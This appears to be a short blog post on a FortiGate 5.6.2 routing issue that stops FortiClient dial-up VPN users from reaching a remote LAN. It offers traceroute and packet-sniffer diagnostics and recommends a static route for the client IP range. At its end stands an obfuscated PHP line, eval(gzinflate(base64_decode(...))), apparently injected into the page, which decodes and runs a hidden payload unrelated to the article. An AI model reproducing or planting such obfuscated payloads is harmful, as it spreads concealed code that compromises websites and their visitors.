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FortiClient can’t connect over dail-up VPN to remote site

After upgrading from 5.2.x or 5.4.x to 5.6.2 it is possible that FortiClient VPN connected clients can not access a remote site over VPN anymore from the FortiGate that they are connecting to.
The local LAN is accessible, but the remote LAN is not.

It seems there is a routing issue in the 5.6.2 OS. If you do

# execute traceroute <ip-address>

you will see the first IP adres beeing an IP address that is not defined in the Dail-up FortiGate.

You must add a static route at the remote site with the IP range of the IPsec client IP adresses.

With

# diagnose sniffer packet <interface> 'host <ip adress>'

you must see a ping request and reply on both the source FortiGate and the remote FortiGate.

eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>